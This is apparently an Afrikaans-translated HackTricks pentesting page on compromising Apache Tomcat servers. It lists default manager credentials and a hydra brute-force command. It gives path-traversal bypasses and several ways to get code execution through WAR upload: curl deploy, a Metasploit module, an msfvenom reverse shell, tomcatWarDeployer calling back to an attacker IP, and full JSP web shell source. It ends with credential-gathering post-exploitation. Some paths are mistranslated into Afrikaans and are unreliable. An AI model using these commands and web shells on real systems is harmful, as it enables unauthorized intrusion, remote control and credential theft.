10 KiB
Tomcat
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy by 'n cybersekuriteitsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die hacktricks-opslag en hacktricks-cloud-opslag.
Ontdekking
- Dit hardloop gewoonlik op poort 8080
- Gewone Tomcat-fout:
Enumerasie
Weergawe-identifikasie
Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige bevel uitgevoer word:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Bestandslokasie van Bestuurder
Die identifisering van die presiese lokasies van /bestuurder
en /gasheer-bestuurder
gids is noodsaaklik aangesien hul name verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye op te spoor.
Gebruikersnaam Opsomming
Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname op te som deur:
msf> use auxiliary/scanner/http/tomcat_enum
Verstek Wagwoorde
Die /bestuurder/html
gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids is beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Hierdie wagwoorde kan getoets word met behulp van:
msf> use auxiliary/scanner/http/tomcat_mgr_login
'n Ander opmerklike gids is /manager/status
, wat die Tomcat en OS weergawe vertoon, wat help met die identifisering van kwesbaarhede.
Brute Force Aanval
Om 'n brute force aanval op die bestuursgids te probeer, kan 'n mens gebruik maak van:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Algemene Kwesbaarhede
Wagwoord Terugsporing Uitlek
Toegang tot /auth.jsp
kan die wagwoord in 'n terugsporing onthul onder gunstige omstandighede.
Dubbele URL-kodering
Die CVE-2007-1860 kwesbaarheid in mod_jk
maak dubbele URL-kodering padtraversal moontlik, wat ongemagtigde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.
Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: pathTomcat/%252E%252E/manager/html
/voorbeelde
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtinguitlek en kruissite-skripsing (XSS) aanvalle. Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind meer inligting hier
- /voorbeelde/jsp/num/numguess.jsp
- /voorbeelde/jsp/dates/date.jsp
- /voorbeelde/jsp/snp/snoop.jsp
- /voorbeelde/jsp/error/error.html
- /voorbeelde/jsp/sessions/carts.html
- /voorbeelde/jsp/checkbox/check.html
- /voorbeelde/jsp/colors/colors.html
- /voorbeelde/jsp/cal/login.html
- /voorbeelde/jsp/include/include.jsp
- /voorbeelde/jsp/forward/forward.jsp
- /voorbeelde/jsp/plugin/plugin.jsp
- /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp
- /voorbeelde/jsp/simpletag/foo.jsp
- /voorbeelde/jsp/mail/sendmail.jsp
- /voorbeelde/servlet/HelloWorldExample
- /voorbeelde/servlet/RequestInfoExample
- /voorbeelde/servlet/RequestHeaderExample
- /voorbeelde/servlet/RequestParamExample
- /voorbeelde/servlet/CookieExample
- /voorbeelde/servlet/JndiServlet
- /voorbeelde/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Padtraversal-uitbuiting
In sommige kwesbare opsette van Tomcat kan jy toegang tot beskermde gids in Tomcat verkry deur die pad: /..;/
Dus, byvoorbeeld, kan jy toegang tot die Tomcat-bestuurder bladsy verkry deur toegang te verkry tot: www.vulnerable.com/lalala/..;/manager/html
'n Ander manier om beskermde paaie te verby te gaan deur hierdie truuk te gebruik, is om toegang te verkry tot http://www.vulnerable.com/;param=value/manager/html
RCE
Laastens, as jy toegang het tot die Tomcat Webtoepassingsbestuurder, kan jy 'n .war-lêer oplaai en inwerking stel (kode uitvoer).
Beperkings
Jy sal slegs 'n WAR kan inwerking stel as jy genoeg voorregte het (rolle: admin, bestuurder en bestuurder-skrips). Hierdie besonderhede kan gevind word onder tomcat-users.xml gewoonlik gedefinieer in /usr/share/tomcat9/etc/tomcat-users.xml
(dit varieer tussen weergawes) (sien POST afdeling).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Omgekeerde Skul
- Skep die oorlog om te ontplooi:
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
Bind en omgekeerde dop met tomcatWarDeployer.py
In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun)
Aflaai
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Omgekeerde dopshell
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind skul
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Gebruik Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Handmatige metode - Web shell
Skep index.jsp met hierdie inhoud:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Handleiding Metode 2
Kry 'n JSP-web dop soos hierdie en skep 'n WAR-lêer:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Naam van Tomcat-geloofsbriewe lêer is tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Ander maniere om Tomcat-gedragskode te versamel:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Ander tomcat skandering gereedskap
Verwysings
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersecurity maatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord groep of die telegram groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die hacktricks repo en hacktricks-cloud repo.